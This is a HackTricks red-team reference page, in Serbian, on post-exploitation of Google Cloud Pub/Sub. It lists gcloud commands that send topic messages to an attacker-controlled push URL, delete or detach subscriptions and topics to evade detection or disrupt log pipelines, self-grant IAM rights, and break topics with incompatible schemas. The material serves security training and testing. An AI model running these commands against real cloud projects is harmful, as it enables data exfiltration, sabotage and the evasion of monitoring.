GCP - Pub/Sub Post Exploatacija

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pub/Sub

Za više informacija o Pub/Sub, proverite sledeću stranicu:

GCP - Pub/Sub Enum

pubsub.topics.publish

Objavite poruku u temi, korisno za slanje neočekivanih podataka i aktiviranje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:

bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Koristan za sprečavanje pretplate da prima poruke, možda da bi se izbegla detekcija.

bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Koristan za sprečavanje pretplate da prima poruke, možda da se izbegne otkrivanje.
Moguće je obrisati temu čak i sa pretplatama koje su joj pridružene.

bash
gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Koristite ovu dozvolu da ažurirate neka podešavanja teme kako biste je ometali, kao što su --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Dajte sebi dozvolu da izvršite bilo koji od prethodnih napada.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Preuzmite sve poruke na veb serveru:

bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Kreirajte pretplatu i koristite je za povlačenje poruka:

bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Brisanje pretplate može biti korisno za ometanje sistema za obradu logova ili nečega sličnog:

bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Koristite ovu dozvolu da ažurirate neka podešavanja tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query tabela, Bucket) ili samo da ih ometate.

bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Napadnite šemu na temu tako da poruke ne ispunjavaju šemu i tako se tema ometa.
Ako nema šema, možda ćete morati da kreirate jednu.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Ovo može izgledati kao brisanje šeme, ali ćete moći slati poruke koje ne ispunjavaju šemu. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u temu. Dakle, ovo je BEZVREDNO:

bash
gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada.

pubsub.snapshots.create, pubsub.snapshots.seek

Ovo će kreirati snimak svih neACKovanih poruka i vratiti ih u pretplatu. Nije baš korisno za napadača, ali evo:

bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks